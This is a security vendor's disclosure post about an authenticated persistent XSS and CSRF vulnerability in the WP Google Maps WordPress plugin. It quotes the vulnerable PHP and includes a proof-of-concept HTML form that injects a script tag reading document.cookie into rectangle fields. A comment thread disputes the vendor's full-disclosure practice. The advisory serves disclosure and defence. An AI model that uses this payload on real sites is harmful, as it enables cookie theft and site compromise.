08 Jul

Recently Closed WordPress Plugin With 400,000+ Installs Contains Another Authenticated Persistent XSS Vulnerability

Back in April we ran across an authenticated persistent cross-site scripting (XSS) vulnerability in WP Google Maps after our monitoring of the WordPress Support Forum to keep track of publicly known vulnerabilities that have been in plugins customers of our service might be using, led to us coming across a claim that WPEngine was claiming there was an XSS vulnerability in it. That vulnerability remained in the plugin for two months after that and the team running the Plugin Directory apparently wasn’t concerned that a plugin with 400,000+ installs was known to be vulnerable. When it was fixed it turns out it wasn’t part of a larger security improvement.

On Friday the plugin was closed on the Plugin Directory with no explanation why that was (later on the developer says it was closed due to emails bouncing, which would be a good reason to indicate why the plugin was closed, since even they didn’t know). As we do with all very popular plugins that are closed, we then took a look over the security of it, since it appears that hackers have been doing that, so we want to keep our customers ahead of hackers instead of leaving them to be hacked as so many security services do. One of the first thing we did was to go back the code we found was vulnerable before and see if there were any other similar issues still in the plugin. What we found is that by just scrolling down to next function after the one that we identified was vulnerable before, we found the same type of vulnerability still exists.

If the file /legacy-core.php the plugin registers the function wpgmaps_head() to run during “admin_head” if a pro version isn’t enabled:

132
133
134
135
136
137
138
139
140
141
if (function_exists('wpgmaps_head_pro' )) {
    add_action( 'admin_head', 'wpgmaps_head_pro' );
} else {
    if (function_exists( 'wpgmaps_pro_activate' ) && floatval($wpgmza_version) < 5.24) {
        add_action( 'admin_head', 'wpgmaps_head_old' );
    } else {
        add_action( 'admin_head', 'wpgmaps_head' );
    }
 
}

That causes the function to run when accessing admin pages, so anyone logged in to WordPress that can access an admin page can access that function (so normally Subscriber level users and above). The code in that function lacks security checks before allowing changes to be made to components of maps created through the plugin.

The following code in that permits creating a new rectangle:

3252
3253
3254
3255
3256
3257
3258
3259
3260
3261
3262
3263
3264
3265
3266
3267
3268
3269
3270
3271
3272
3273
3274
3275
3276
3277
3278
3279
3280
3281
3282
3283
3284
3285
3286
3287
3288
3289
3290
3291
3292
3293
3294
3295
3296
3297
3298
3299
3300
3301
else if (isset($_POST['wpgmza_save_rectangle'])){
	global $wpdb;
	global $wpgmza_tblname_rectangles;
 
	$m = null;
	preg_match_all('/-?\d+(\.\d+)?/', $_POST['bounds'], $m);
 
	$north = $m[0][0];
	$east = $m[0][1];
	$south = $m[0][2];
	$west = $m[0][3];
 
	$cornerA = "POINT($north $east)";
	$cornerB = "POINT($south $west)";
 
	if(isset($_POST['rectangle_id']))
	{
		$stmt = $wpdb->prepare("
			UPDATE $wpgmza_tblname_rectangles SET
			name = %s,
			color = %s,
			opacity = %f,
			cornerA = {$wpgmza->spatialFunctionPrefix}GeomFromText(%s),
			cornerB = {$wpgmza->spatialFunctionPrefix}GeomFromText(%s)
			WHERE id = %d
		", array(
			$_POST['rectangle_name'],
			$_POST['rectangle_color'],
			$_POST['rectangle_opacity'],
			$cornerA,
			$cornerB,
			$_POST['rectangle_id']
		));
	}
	else
	{
		$stmt = $wpdb->prepare("
			INSERT INTO $wpgmza_tblname_rectangles
			(map_id, name, color, opacity, cornerA, cornerB)
			VALUES
			(%d, %s, %s, %f, {$wpgmza->spatialFunctionPrefix}GeomFromText(%s), {$wpgmza->spatialFunctionPrefix}GeomFromText(%s))
		", array(
			$_POST['wpgmaps_map_id'],
			$_POST['rectangle_name'],
			$_POST['rectangle_color'],
			$_POST['rectangle_opacity'],
			$cornerA,
			$cornerB
		));
	}

That code saves user input without sanitizing it and as the proof of concept below shows, it is also output without being escaped leading, which is all together an authenticated persistent cross-site scripting (XSS) vulnerability.

One of the security checks missing is checking for a valid nonce, so the vulnerability could also be exploited through cross-site request forgery (CSRF).

There are additional security issues we also noticed are currently in the plugin.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof concept will cause an alert box with any available cookies to be shown when accessing the page /wp-admin/admin.php?page=wp-google-maps-menu&action=edit&map_id=1, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/" method="POST">
<input type="hidden" name="wpgmaps_map_id" value="1" />
<input type="hidden" name="bounds" value="" />
<input type="hidden" name="rectangle_name" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="rectangle_color" value="#ff0000" />
<input type="hidden" name="rectangle_opacity" value='"><script>alert(document.cookie);</script>' />
<input type="submit" name="wpgmza_save_rectangle" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.

2 thoughts on “Recently Closed WordPress Plugin With 400,000+ Installs Contains Another Authenticated Persistent XSS Vulnerability

  1. Hi All
    This was patched last night (same day).

    Thank you for letting us know about the vulnerability. In future, please may you give us a bit of lead time to deal with the vulnerability before going public. We have a contact form on our website. It is incredibly difficult to deal with a vulnerability that has already gone public without us knowing. I understand you are upset with the forum moderators but it is unfair on the countless users who experience hacked websites due to these disclosures going public before developers can rectify the vulnerabilities. I’d be happy to have even one or two days notice before going public.

    Either way, thank you for pointing out our shortfalls. We will endeavour to make sure all of WP Google Map’s code is sanitized.

    Kind regards
    Nick

    • The vulnerability has existed for over a year before we happened across it, so you had plenty of lead time.

      We are not upset with the moderators of the WordPress Support Forum, we simply want them to stop acting inappropriately, like when they get in the way of people trying to deal with hacked websites. These full disclosures could have ended long ago if they simply agreed to do that, but so far they have felt their continued ability to act inappropriately is more important than any impact it has.

Leave a Reply

Your email address will not be published. Required fields are marked *